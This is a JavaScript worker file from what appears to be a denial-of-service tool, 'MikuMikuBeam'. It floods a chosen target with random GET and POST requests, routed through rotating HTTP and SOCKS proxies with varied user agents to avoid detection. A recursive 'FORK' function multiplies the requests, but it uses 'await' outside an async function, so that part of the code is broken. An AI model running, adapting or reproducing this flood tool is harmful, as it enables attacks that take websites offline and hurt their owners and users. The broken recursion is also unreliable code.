MikuMikuBeam/server/workers/http-forkbomb-attack.js
2025-01-22 14:34:52 -06:00

92 lines
2.5 KiB
JavaScript
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

//Get Miku'd :3
/*
/|<★\/★>|\
/ /__\  /__\ \
\_\_| |__/_/
MIKU MIKU BEAM!
*/
import axios from "axios";
import { SocksProxyAgent } from "socks-proxy-agent";
import { parentPort, workerData } from "worker_threads";
import { randomBoolean, randomString } from "../utils/randomUtils.js";
const FORK = (fixedTarget, payload, config) => {
for (let i = 1; i < Math.random() * 100; i++) {
FORK(fixedTarget, payload, config)
await axios.post(fixedTarget, payload, config);
}
}
const startAttack = () => {
const { target, proxies, userAgents, duration, packetDelay, packetSize } =
workerData;
const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
let totalPackets = 0;
const startTime = Date.now();
const sendRequest = async (proxy, userAgent) => {
try {
const config = {
headers: { "User-Agent": userAgent },
timeout: 2000,
validateStatus: (status) => {
return status < 500;
},
};
if (proxy.protocol === "http") {
config.proxy = {
host: proxy.host,
port: proxy.port,
};
} else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") {
config.httpAgent = new SocksProxyAgent(
`${proxy.protocol}://${proxy.host}:${proxy.port}`
);
}
const isGet = packetSize > 64 ? false : randomBoolean();
const payload = randomString(packetSize);
if (isGet) {
await axios.get(`${fixedTarget}/${payload}`, config);
} else {
FORK(fixedTarget, payload, config)
await axios.post(fixedTarget, payload, config);
}
totalPackets++;
parentPort.postMessage({
log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
totalPackets,
});
} catch (error) {
parentPort.postMessage({
log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
totalPackets,
});
}
};
const interval = setInterval(() => {
const elapsedTime = (Date.now() - startTime) / 1000;
if (elapsedTime >= duration) {
clearInterval(interval);
parentPort.postMessage({ log: "Attack finished", totalPackets });
process.exit(0);
}
const proxy = proxies[Math.floor(Math.random() * proxies.length)];
const userAgent = userAgents[Math.floor(Math.random() * userAgents.length)];
sendRequest(proxy, userAgent);
}, packetDelay);
};
if (workerData) {
startAttack();
}